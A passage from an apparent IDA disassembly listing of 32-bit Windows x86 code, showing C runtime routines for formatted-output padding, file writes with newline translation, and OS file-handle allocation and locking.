; sub_409C30+3Aj ...
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
cmp [ebp+arg_8], 0
jz short loc_40A352
movzx eax, [ebp+arg_8]
mov [ebp+var_28], eax
jmp short loc_40A359
; ---------------------------------------------------------------------------
loc_40A352: ; CODE XREF: sub_409C30+717j
mov [ebp+var_28], 25h
loc_40A359: ; CODE XREF: sub_409C30+720j
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_28]
mov [eax+edx], cl
loc_40A362: ; CODE XREF: sub_409C30+84j
; sub_409C30+BDj ...
xor eax, eax
loc_40A364: ; CODE XREF: sub_409C30+C6j
; sub_409C30+6F0j
pop ebx
mov esp, ebp
pop ebp
retn
sub_409C30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A370 proc near ; CODE XREF: sub_4087E0+25Ap
; sub_40AEB0+D7p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov eax, [ebx+34h]
sub eax, [ebx+14h]
sub eax, [ebx+18h]
sub eax, [ebx+1Ch]
sub eax, [ebx+20h]
sub eax, [ebx+24h]
sub eax, [ebx+28h]
mov [ebp+var_4], eax
test word ptr [ebx+38h], 4
jnz short loc_40A3EF
cmp [ebp+var_4], 0
jle short loc_40A3EF
mov esi, [ebp+var_4]
jmp short loc_40A3EB
; ---------------------------------------------------------------------------
loc_40A3A7: ; CODE XREF: sub_40A370+7Dj
cmp esi, 20h
jbe short loc_40A3B5
mov [ebp+var_8], 20h
jmp short loc_40A3BA
; ---------------------------------------------------------------------------
loc_40A3B5: ; CODE XREF: sub_40A370+3Aj
mov eax, esi
mov [ebp+var_8], eax
loc_40A3BA: ; CODE XREF: sub_40A370+43j
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_40A3E9
push edi
push offset asc_40FDC8 ; " "
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_40A3E1
add [ebx+30h], edi
jmp short loc_40A3E9
; ---------------------------------------------------------------------------
loc_40A3E1: ; CODE XREF: sub_40A370+6Aj
or eax, 0FFFFFFFFh
jmp loc_40A5D7
; ---------------------------------------------------------------------------
loc_40A3E9: ; CODE XREF: sub_40A370+51j
; sub_40A370+6Fj
sub esi, edi
loc_40A3EB: ; CODE XREF: sub_40A370+35j
test esi, esi
jg short loc_40A3A7
loc_40A3EF: ; CODE XREF: sub_40A370+2Aj
; sub_40A370+30j
cmp dword ptr [ebx+14h], 0
jle short loc_40A420
mov eax, [ebx+14h]
push eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_40A418
mov eax, [ebx+14h]
add [ebx+30h], eax
jmp short loc_40A420
; ---------------------------------------------------------------------------
loc_40A418: ; CODE XREF: sub_40A370+9Ej
or eax, 0FFFFFFFFh
jmp loc_40A5D7
; ---------------------------------------------------------------------------
loc_40A420: ; CODE XREF: sub_40A370+83j
; sub_40A370+A6j
cmp dword ptr [ebx+18h], 0
jle short loc_40A473
mov esi, [ebx+18h]
jmp short loc_40A46F
; ---------------------------------------------------------------------------
loc_40A42B: ; CODE XREF: sub_40A370+101j
cmp esi, 20h
jbe short loc_40A439
mov [ebp+var_8], 20h
jmp short loc_40A43E
; ---------------------------------------------------------------------------
loc_40A439: ; CODE XREF: sub_40A370+BEj
mov eax, esi
mov [ebp+var_8], eax
loc_40A43E: ; CODE XREF: sub_40A370+C7j
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_40A46D
push edi
push offset a00000000000000 ; "00000000000000000000000000000000"
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_40A465
add [ebx+30h], edi
jmp short loc_40A46D
; ---------------------------------------------------------------------------
loc_40A465: ; CODE XREF: sub_40A370+EEj
or eax, 0FFFFFFFFh
jmp loc_40A5D7
; ---------------------------------------------------------------------------
loc_40A46D: ; CODE XREF: sub_40A370+D5j
; sub_40A370+F3j
sub esi, edi
loc_40A46F: ; CODE XREF: sub_40A370+B9j
test esi, esi
jg short loc_40A42B
loc_40A473: ; CODE XREF: sub_40A370+B4j
cmp dword ptr [ebx+1Ch], 0
jle short loc_40A4A4
mov eax, [ebx+1Ch]
push eax
mov eax, [ebx+10h]
push eax
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_40A49C
mov eax, [ebx+1Ch]
add [ebx+30h], eax
jmp short loc_40A4A4
; ---------------------------------------------------------------------------
loc_40A49C: ; CODE XREF: sub_40A370+122j
or eax, 0FFFFFFFFh
jmp loc_40A5D7
; ---------------------------------------------------------------------------
loc_40A4A4: ; CODE XREF: sub_40A370+107j
; sub_40A370+12Aj
cmp dword ptr [ebx+20h], 0
jle short loc_40A4F7
mov esi, [ebx+20h]
jmp short loc_40A4F3
; ---------------------------------------------------------------------------
loc_40A4AF: ; CODE XREF: sub_40A370+185j
cmp esi, 20h
jbe short loc_40A4BD
mov [ebp+var_8], 20h
jmp short loc_40A4C2
; ---------------------------------------------------------------------------
loc_40A4BD: ; CODE XREF: sub_40A370+142j
mov eax, esi
mov [ebp+var_8], eax
loc_40A4C2: ; CODE XREF: sub_40A370+14Bj
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_40A4F1
push edi
push offset a00000000000000 ; "00000000000000000000000000000000"
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_40A4E9
add [ebx+30h], edi
jmp short loc_40A4F1
; ---------------------------------------------------------------------------
loc_40A4E9: ; CODE XREF: sub_40A370+172j
or eax, 0FFFFFFFFh
jmp loc_40A5D7
; ---------------------------------------------------------------------------
loc_40A4F1: ; CODE XREF: sub_40A370+159j
; sub_40A370+177j
sub esi, edi
loc_40A4F3: ; CODE XREF: sub_40A370+13Dj
test esi, esi
jg short loc_40A4AF
loc_40A4F7: ; CODE XREF: sub_40A370+138j
cmp dword ptr [ebx+24h], 0
jle short loc_40A52D
mov eax, [ebx+24h]
push eax
mov eax, [ebx+1Ch]
mov edx, [ebx+10h]
add eax, edx
push eax
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_40A525
mov eax, [ebx+24h]
add [ebx+30h], eax
jmp short loc_40A52D
; ---------------------------------------------------------------------------
loc_40A525: ; CODE XREF: sub_40A370+1ABj
or eax, 0FFFFFFFFh
jmp loc_40A5D7
; ---------------------------------------------------------------------------
loc_40A52D: ; CODE XREF: sub_40A370+18Bj
; sub_40A370+1B3j
cmp dword ptr [ebx+28h], 0
jle short loc_40A57D
mov esi, [ebx+28h]
jmp short loc_40A579
; ---------------------------------------------------------------------------
loc_40A538: ; CODE XREF: sub_40A370+20Bj
cmp esi, 20h
jbe short loc_40A546
mov [ebp+var_8], 20h
jmp short loc_40A54B
; ---------------------------------------------------------------------------
loc_40A546: ; CODE XREF: sub_40A370+1CBj
mov eax, esi
mov [ebp+var_8], eax
loc_40A54B: ; CODE XREF: sub_40A370+1D4j
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_40A577
push edi
push offset a00000000000000 ; "00000000000000000000000000000000"
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_40A572
add [ebx+30h], edi
jmp short loc_40A577
; ---------------------------------------------------------------------------
loc_40A572: ; CODE XREF: sub_40A370+1FBj
or eax, 0FFFFFFFFh
jmp short loc_40A5D7
; ---------------------------------------------------------------------------
loc_40A577: ; CODE XREF: sub_40A370+1E2j
; sub_40A370+200j
sub esi, edi
loc_40A579: ; CODE XREF: sub_40A370+1C6j
test esi, esi
jg short loc_40A538
loc_40A57D: ; CODE XREF: sub_40A370+1C1j
test word ptr [ebx+38h], 4
jz short loc_40A5D5
cmp [ebp+var_4], 0
jle short loc_40A5D5
mov esi, [ebp+var_4]
jmp short loc_40A5D1
; ---------------------------------------------------------------------------
loc_40A590: ; CODE XREF: sub_40A370+263j
cmp esi, 20h
jbe short loc_40A59E
mov [ebp+var_8], 20h
jmp short loc_40A5A3
; ---------------------------------------------------------------------------
loc_40A59E: ; CODE XREF: sub_40A370+223j
mov eax, esi
mov [ebp+var_8], eax
loc_40A5A3: ; CODE XREF: sub_40A370+22Cj
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_40A5CF
push edi
push offset asc_40FDC8 ; " "
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_40A5CA
add [ebx+30h], edi
jmp short loc_40A5CF
; ---------------------------------------------------------------------------
loc_40A5CA: ; CODE XREF: sub_40A370+253j
or eax, 0FFFFFFFFh
jmp short loc_40A5D7
; ---------------------------------------------------------------------------
loc_40A5CF: ; CODE XREF: sub_40A370+23Aj
; sub_40A370+258j
sub esi, edi
loc_40A5D1: ; CODE XREF: sub_40A370+21Ej
test esi, esi
jg short loc_40A590
loc_40A5D5: ; CODE XREF: sub_40A370+213j
; sub_40A370+219j
xor eax, eax
loc_40A5D7: ; CODE XREF: sub_40A370+74j
; sub_40A370+ABj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40A370 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5E0 proc near ; CODE XREF: sub_408B20+101p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, [ebp+arg_4]
mov eax, ebx
and eax, 3
mov esi, dword_40FE0C[eax*4]
test ebx, 4
jz short loc_40A5FF
or esi, 8
loc_40A5FF: ; CODE XREF: sub_40A5E0+1Aj
test ebx, 8
jz short loc_40A60D
or esi, 200h
loc_40A60D: ; CODE XREF: sub_40A5E0+25j
test ebx, 10h
jz short loc_40A61B
or esi, 100h
loc_40A61B: ; CODE XREF: sub_40A5E0+33j
test ebx, 20h
jz short loc_40A62B
or esi, 8000h
jmp short loc_40A631
; ---------------------------------------------------------------------------
loc_40A62B: ; CODE XREF: sub_40A5E0+41j
or esi, 4000h
loc_40A631: ; CODE XREF: sub_40A5E0+49j
push 180h
push esi
mov eax, [ebp+arg_0]
push eax
call sub_40B8B0
add esp, 0Ch
pop esi
pop ebx
pop ebp
retn
sub_40A5E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40A650 proc near ; CODE XREF: sub_408C70+Dp
push 6
call sub_40BCC0
pop ecx
push 1
call sub_4079E0
pop ecx
retn
sub_40A650 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A670 proc near ; CODE XREF: sub_40A860+4Bp
; sub_40CC50+ADp
var_411 = byte ptr -411h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
push ebx
push esi
push edi
mov [ebp+var_C], 0
mov [ebp+var_4], 0
cmp [ebp+arg_8], 0
jnz short loc_40A697
xor eax, eax
jmp loc_40A859
; ---------------------------------------------------------------------------
loc_40A697: ; CODE XREF: sub_40A670+1Ej
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
test byte ptr [eax+edx+4], 20h
jz short loc_40A6C3
push 2
push 0
mov eax, [ebp+arg_0]
push eax
call sub_40BDF0
add esp, 0Ch
loc_40A6C3: ; CODE XREF: sub_40A670+41j
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
test byte ptr [eax+edx+4], 80h
jz loc_40A7A4
mov esi, [ebp+arg_4]
mov [ebp+var_10], 0
jmp loc_40A790
; ---------------------------------------------------------------------------
loc_40A6F2: ; CODE XREF: sub_40A670+12Cj
lea edi, [ebp+var_411]
jmp short loc_40A712
; ---------------------------------------------------------------------------
loc_40A6FA: ; CODE XREF: sub_40A670+C0j
mov eax, esi
inc esi
mov bl, [eax]
cmp bl, 0Ah
jnz short loc_40A70D
inc [ebp+var_4]
mov eax, edi
inc edi
mov byte ptr [eax], 0Dh
loc_40A70D: ; CODE XREF: sub_40A670+92j
mov eax, edi
inc edi
mov [eax], bl
loc_40A712: ; CODE XREF: sub_40A670+88j
lea eax, [ebp+var_411]
mov edx, edi
sub edx, eax
cmp edx, 400h
jge short loc_40A732
mov eax, [ebp+arg_4]
mov edx, esi
sub edx, eax
mov eax, edx
cmp eax, [ebp+arg_8]
jb short loc_40A6FA
loc_40A732: ; CODE XREF: sub_40A670+B2j
push 0
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_411]
mov edx, edi
sub edx, eax
mov eax, edx
push eax
lea eax, [ebp+var_411]
push eax
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
mov eax, [eax+edx]
push eax
call dword_411E08 ; WriteFile
test eax, eax
jz short loc_40A785
mov eax, [ebp+var_8]
add [ebp+var_C], eax
lea edx, [ebp+var_411]
mov ecx, edi
sub ecx, edx
cmp eax, ecx
jge short loc_40A790
jmp short loc_40A7ED
; ---------------------------------------------------------------------------
loc_40A785: ; CODE XREF: sub_40A670+FDj
call dword_411CE8 ; RtlGetLastWin32Error
mov [ebp+var_10], eax
jmp short loc_40A7ED
; ---------------------------------------------------------------------------
loc_40A790: ; CODE XREF: sub_40A670+7Dj
; sub_40A670+111j
mov eax, [ebp+arg_4]
mov edx, esi
sub edx, eax
mov eax, edx
cmp eax, [ebp+arg_8]
jb loc_40A6F2
jmp short loc_40A7ED
; ---------------------------------------------------------------------------
loc_40A7A4: ; CODE XREF: sub_40A670+6Dj
push 0
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
mov eax, [eax+edx]
push eax
call dword_411E08 ; WriteFile
test eax, eax
jz short loc_40A7E4
mov [ebp+var_10], 0
mov eax, [ebp+var_8]
mov [ebp+var_C], eax
jmp short loc_40A7ED
; ---------------------------------------------------------------------------
loc_40A7E4: ; CODE XREF: sub_40A670+163j
call dword_411CE8 ; RtlGetLastWin32Error
mov [ebp+var_10], eax
loc_40A7ED: ; CODE XREF: sub_40A670+113j
; sub_40A670+11Ej ...
cmp [ebp+var_C], 0
jnz short loc_40A853
cmp [ebp+var_10], 0
jz short loc_40A81B
cmp [ebp+var_10], 5
jnz short loc_40A80C
call sub_4083A0
mov dword ptr [eax], 9
jmp short loc_40A816
; ---------------------------------------------------------------------------
loc_40A80C: ; CODE XREF: sub_40A670+18Dj
mov eax, [ebp+var_10]
push eax
call sub_408240
pop ecx
loc_40A816: ; CODE XREF: sub_40A670+19Aj
or eax, 0FFFFFFFFh
jmp short loc_40A859
; ---------------------------------------------------------------------------
loc_40A81B: ; CODE XREF: sub_40A670+187j
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
test byte ptr [eax+edx+4], 40h
jz short loc_40A843
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jnz short loc_40A843
xor eax, eax
jmp short loc_40A859
; ---------------------------------------------------------------------------
loc_40A843: ; CODE XREF: sub_40A670+1C5j
; sub_40A670+1CDj
call sub_4083A0
mov dword ptr [eax], 1Ch
or eax, 0FFFFFFFFh
jmp short loc_40A859
; ---------------------------------------------------------------------------
loc_40A853: ; CODE XREF: sub_40A670+181j
mov eax, [ebp+var_C]
sub eax, [ebp+var_4]
loc_40A859: ; CODE XREF: sub_40A670+22j
; sub_40A670+1A9j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40A670 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A860 proc near ; CODE XREF: sub_408CA0+79p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, [ebp+arg_0]
cmp ebx, dword_413A88
jnb short loc_40A88B
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_40A89B
loc_40A88B: ; CODE XREF: sub_40A860+Ej
call sub_4083A0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_40A8BE
; ---------------------------------------------------------------------------
loc_40A89B: ; CODE XREF: sub_40A860+29j
push ebx
call sub_40AC80
pop ecx
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_4]
push eax
push ebx
call sub_40A670
add esp, 0Ch
mov esi, eax
push ebx
call sub_40ACE0
pop ecx
mov eax, esi
loc_40A8BE: ; CODE XREF: sub_40A860+39j
pop esi
pop ebx
pop ebp
retn
sub_40A860 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A8D0 proc near ; CODE XREF: DMN0:loc_40AC2Ap
; sub_40B8E0:loc_40BADDp
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
or edi, 0FFFFFFFFh
push 4
call sub_408740
pop ecx
xor esi, esi
loc_40A8E6: ; CODE XREF: sub_40A8D0+128j
cmp dword_413988[esi*4], 0
jz loc_40A99D
mov ebx, dword_413988[esi*4]
jmp loc_40A982
; ---------------------------------------------------------------------------
loc_40A900: ; CODE XREF: sub_40A8D0+C0j
test byte ptr [ebx+4], 1
jnz short loc_40A97F
cmp dword ptr [ebx+8], 0
jnz short loc_40A92F
push 3
call sub_408740
pop ecx
cmp dword ptr [ebx+8], 0
jnz short loc_40A927
lea eax, [ebx+0Ch]
push eax
call dword_411CC8 ; InitializeCriticalSection
inc dword ptr [ebx+8]
loc_40A927: ; CODE XREF: sub_40A8D0+48j
push 3
call sub_4087C0
pop ecx
loc_40A92F: ; CODE XREF: sub_40A8D0+3Aj
lea eax, [ebx+0Ch]
push eax
call dword_411CCC ; RtlEnterCriticalSection
test byte ptr [ebx+4], 1
jz short loc_40A94B
lea eax, [ebx+0Ch]
push eax
call dword_411CD0 ; RtlLeaveCriticalSection
jmp short loc_40A97F
; ---------------------------------------------------------------------------
loc_40A94B: ; CODE XREF: sub_40A8D0+6Dj
mov dword ptr [ebx], 0FFFFFFFFh
mov eax, esi
shl eax, 5
mov [ebp+var_4], eax
mov edx, dword_413988[esi*4]
mov ecx, ebx
sub ecx, edx
mov eax, ecx
push eax
mov edx, 38E38E39h
imul edx
pop eax
shr eax, 1Fh
sar edx, 3
add eax, edx
mov edx, [ebp+var_4]
lea edi, [eax+edx]
jmp short loc_40A996
; ---------------------------------------------------------------------------
loc_40A97F: ; CODE XREF: sub_40A8D0+34j
; sub_40A8D0+79j
add ebx, 24h
loc_40A982: ; CODE XREF: sub_40A8D0+2Bj
mov eax, dword_413988[esi*4]
add eax, 480h
cmp ebx, eax
jb loc_40A900
loc_40A996: ; CODE XREF: sub_40A8D0+ADj
cmp edi, 0FFFFFFFFh
jz short loc_40A9F4
jmp short loc_40A9FE
; ---------------------------------------------------------------------------
loc_40A99D: ; CODE XREF: sub_40A8D0+1Ej
push 480h
call sub_4081A0
pop ecx
mov ebx, eax
test eax, eax
jz short loc_40A9FE
mov dword_413988[esi*4], ebx
add dword_413A88, 20h
jmp short loc_40A9D6
; ---------------------------------------------------------------------------
loc_40A9BE: ; CODE XREF: sub_40A8D0+114j
mov byte ptr [ebx+4], 0
mov dword ptr [ebx], 0FFFFFFFFh
mov byte ptr [ebx+5], 0Ah
mov dword ptr [ebx+8], 0
add ebx, 24h
loc_40A9D6: ; CODE XREF: sub_40A8D0+ECj
mov eax, dword_413988[esi*4]
add eax, 480h
cmp ebx, eax
jb short loc_40A9BE
mov edi, esi
shl edi, 5
push edi
call sub_40AC80
pop ecx
jmp short loc_40A9FE
; ---------------------------------------------------------------------------
loc_40A9F4: ; CODE XREF: sub_40A8D0+C9j
inc esi
cmp esi, 40h
jl loc_40A8E6
loc_40A9FE: ; CODE XREF: sub_40A8D0+CBj
; sub_40A8D0+DCj ...
push 4
call sub_4087C0
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40A8D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40AA10 proc near ; CODE XREF: sub_408D80+5Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, dword_413A88
jnb loc_40AA9F
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
add eax, edx
test byte ptr [eax+4], 1
jz short loc_40AA9F
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_40AA9F
test ebx, ebx
jz short loc_40AA55
cmp ebx, 1
jz short loc_40AA64
cmp ebx, 2
jz short loc_40AA73
jmp short loc_40AA80
; ---------------------------------------------------------------------------
loc_40AA55: ; CODE XREF: sub_40AA10+37j
push 0
push 0FFFFFFF6h
call dword_411E0C ; SetStdHandle
jmp short loc_40AA80
; ---------------------------------------------------------------------------
loc_40AA64: ; CODE XREF: sub_40AA10+3Cj
push 0
push 0FFFFFFF5h
call dword_411E0C ; SetStdHandle
jmp short loc_40AA80
; ---------------------------------------------------------------------------
loc_40AA73: ; CODE XREF: sub_40AA10+41j
push 0
push 0FFFFFFF4h
call dword_411E0C ; SetStdHandle
loc_40AA80: ; CODE XREF: sub_40AA10+43j
; sub_40AA10+52j ...
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov dword ptr [edx+eax], 0FFFFFFFFh
xor eax, eax
jmp short loc_40AAAD
; ---------------------------------------------------------------------------
loc_40AA9F: ; CODE XREF: sub_40AA10+Bj
; sub_40AA10+2Bj ...
call sub_4083A0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
loc_40AAAD: ; CODE XREF: sub_40AA10+8Dj
pop ebx
retn
sub_40AA10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40AAB0 proc near ; CODE XREF: DMN0:0040AC4Cp
; sub_40B8E0+2B4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, dword_413A88
jnb loc_40AB41
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
cmp dword ptr [edx+eax], 0FFFFFFFFh
jnz short loc_40AB41
test ebx, ebx
jz short loc_40AAEE
cmp ebx, 1
jz short loc_40AB00
cmp ebx, 2
jz short loc_40AB12
jmp short loc_40AB22
; ---------------------------------------------------------------------------
loc_40AAEE: ; CODE XREF: sub_40AAB0+30j
mov eax, [esp+4+arg_4]
push eax
push 0FFFFFFF6h
call dword_411E0C ; SetStdHandle
jmp short loc_40AB22
; ---------------------------------------------------------------------------
loc_40AB00: ; CODE XREF: sub_40AAB0+35j
mov eax, [esp+4+arg_4]
push eax
push 0FFFFFFF5h
call dword_411E0C ; SetStdHandle
jmp short loc_40AB22
; ---------------------------------------------------------------------------
loc_40AB12: ; CODE XREF: sub_40AAB0+3Aj
mov eax, [esp+4+arg_4]
push eax
push 0FFFFFFF4h
call dword_411E0C ; SetStdHandle
loc_40AB22: ; CODE XREF: sub_40AAB0+3Cj
; sub_40AAB0+4Ej ...
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov ecx, [esp+4+arg_4]
mov [edx+eax], ecx
xor eax, eax
jmp short loc_40AB4F
; ---------------------------------------------------------------------------
loc_40AB41: ; CODE XREF: sub_40AAB0+Bj
; sub_40AAB0+2Cj
call sub_4083A0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
loc_40AB4F: ; CODE XREF: sub_40AAB0+8Fj
pop ebx
retn
sub_40AAB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40AB60 proc near ; CODE XREF: sub_408D80+Cp
; sub_408D80+25p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, dword_413A88
jnb short loc_40ABA1
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jz short loc_40ABA1
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov eax, [edx+eax]
jmp short loc_40ABAF
; ---------------------------------------------------------------------------
loc_40ABA1: ; CODE XREF: sub_40AB60+Bj
; sub_40AB60+26j
call sub_4083A0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
loc_40ABAF: ; CODE XREF: sub_40AB60+3Fj
pop ebx
retn
sub_40AB60 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [esp+4]
push eax
call sub_40AB60
pop ecx
retn
; ---------------------------------------------------------------------------
align 10h
push ebx
push esi
push edi
xor bl, bl
test byte ptr [esp+14h], 8
jz short loc_40ABDF
or bl, 20h
loc_40ABDF: ; CODE XREF: DMN0:0040ABDAj
test word ptr [esp+14h], 4000h
jz short loc_40ABEB
or bl, 80h
loc_40ABEB: ; CODE XREF: DMN0:0040ABE6j
test byte ptr [esp+14h], 80h
jz short loc_40ABF5
or bl, 10h
loc_40ABF5: ; CODE XREF: DMN0:0040ABF0j
mov eax, [esp+10h]
push eax
call dword_411DEC ; GetFileType
mov edi, eax
test edi, edi
jnz short loc_40AC18
call dword_411CE8 ; RtlGetLastWin32Error
push eax
call sub_408240
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_40AC71
; ---------------------------------------------------------------------------
loc_40AC18: ; CODE XREF: DMN0:0040AC04j
cmp edi, 2
jnz short loc_40AC22
or bl, 40h
jmp short loc_40AC2A
; ---------------------------------------------------------------------------
loc_40AC22: ; CODE XREF: DMN0:0040AC1Bj
cmp edi, 3
jnz short loc_40AC2A
or bl, 8
loc_40AC2A: ; CODE XREF: DMN0:0040AC20j
; DMN0:0040AC25j
call sub_40A8D0
mov esi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_40AC46
call sub_4083A0
mov dword ptr [eax], 18h
or eax, 0FFFFFFFFh
jmp short loc_40AC71
; ---------------------------------------------------------------------------
loc_40AC46: ; CODE XREF: DMN0:0040AC34j
mov eax, [esp+10h]
push eax
push esi
call sub_40AAB0
add esp, 8
or bl, 1
mov eax, esi
and eax, 1Fh
imul eax, 24h
mov edx, esi
sar edx, 5
mov edx, dword_413988[edx*4]
mov [edx+eax+4], bl
mov eax, esi
loc_40AC71: ; CODE XREF: DMN0:0040AC16j
; DMN0:0040AC44j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40AC80 proc near ; CODE XREF: sub_408E20+3Ap
; sub_40A860+3Cp ...
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea esi, [edx+eax]
cmp dword ptr [esi+8], 0
jnz short loc_40ACC6
push 3
call sub_408740
pop ecx
cmp dword ptr [esi+8], 0
jnz short loc_40ACBE
lea eax, [esi+0Ch]
push eax
call dword_411CC8 ; InitializeCriticalSection
inc dword ptr [esi+8]
loc_40ACBE: ; CODE XREF: sub_40AC80+2Fj
push 3
call sub_4087C0
pop ecx
loc_40ACC6: ; CODE XREF: sub_40AC80+21j
lea eax, [esi+0Ch]
push eax
call dword_411CCC ; RtlEnterCriticalSection
pop esi
pop ebx
retn
sub_40AC80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40ACE0 proc near ; CODE XREF: sub_408E20+4Ap
; sub_40A860+56p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+0Ch]
push eax
call dword_411CD0 ; RtlLeaveCriticalSection
pop ebx
retn
sub_40ACE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40AD10 proc near ; DATA XREF: sub_40AD50+A4o
; sub_44BCD1+A4o
push ebx
push 1
push 2
call sub_40AD50
add esp, 8
mov ebx, eax
cmp ebx, 0FFFFFFFFh
